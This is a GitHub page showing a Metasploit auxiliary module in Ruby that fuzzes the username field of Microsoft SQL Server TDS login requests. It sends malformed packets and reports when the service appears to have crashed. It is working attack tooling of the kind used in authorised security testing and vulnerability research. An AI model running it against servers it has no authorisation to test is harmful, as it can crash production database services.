-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
tds_login_username.rb
154 lines (123 loc) · 4.12 KB
/
tds_login_username.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Fuzzer
def initialize(info = {})
super(update_info(info,
'Name' => 'TDS Protocol Login Request Username Fuzzer',
'Description' => %q{
This module sends a series of malformed TDS login requests.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE
))
end
# A copy of the mssql_login method with the ability to overload each option
def do_login(opts={})
@connected = false
disconnect if self.sock
connect
@connected = true
pkt = ""
idx = 0
db = ""
pkt << [
0x00000000, # Dummy size
opts[:tds_version] || 0x71000001, # TDS Version
opts[:size] || 0x00000000, # Size
opts[:version] || 0x00000007, # Version
opts[:pid] || rand(1024+1), # PID
opts[:connection_id] || 0x00000000, # ConnectionID
opts[:flags_opt1] || 0xe0, # Option Flags 1
opts[:flags_opt2] || 0x03, # Option Flags 2
opts[:flags_sql_type] || 0x00, # SQL Type Flags
opts[:flags_reserved] || 0x00, # Reserved Flags
opts[:timezone] || 0x00000000, # Time Zone
opts[:collation] || 0x00000000 # Collation
].pack('VVVVVVCCCCVV')
cname = Rex::Text.to_unicode( opts[:cname] || Rex::Text.rand_text_alpha(rand(8)+1) )
uname = Rex::Text.to_unicode( opts[:uname] || "sa" )
pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" )
aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) )
sname = Rex::Text.to_unicode( opts[:sname] || rhost )
dname = Rex::Text.to_unicode( opts[:dname] || db )
idx = pkt.size + 50 # lengths below
pkt << [idx, cname.length / 2].pack('vv')
idx += cname.length
pkt << [idx, uname.length / 2].pack('vv')
idx += uname.length
pkt << [idx, pname.length / 2].pack('vv')
idx += pname.length
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, sname.length / 2].pack('vv')
idx += sname.length
pkt << [0, 0].pack('vv')
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, 0].pack('vv')
pkt << [idx, dname.length / 2].pack('vv')
idx += dname.length
# The total length has to be embedded twice more here
pkt << [
0,
0,
0x12345678,
0x12345678
].pack('vVVV')
pkt << cname
pkt << uname
pkt << pname
pkt << aname
pkt << sname
pkt << aname
pkt << dname
# Total packet length
pkt[0,4] = [pkt.length].pack('V')
# Embedded packet lengths
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
# Packet header and total length including header
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
resp = mssql_send_recv(pkt,opts[:timeout])
info = {:errors => []}
info = mssql_parse_reply(resp,info)
info
end
def run
last_str = nil
last_inp = nil
last_err = nil
cnt = 0
fuzz_strings do |str|
# capped at 16-bit lengths
next if str.length > 65535
cnt += 1
if(cnt % 100 == 0)
print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
end
begin
do_login(:uname => str, :timeout => 0.50)
rescue ::Interrupt
print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")
raise $!
rescue ::Exception => e
last_err = e
ensure
disconnect
end
if(not @connected)
if(last_str)
print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
else
print_status("Could not connect to the service: #{last_err}")
end
return
end
last_str = str
last_inp = @last_fuzzer_input
end
end
end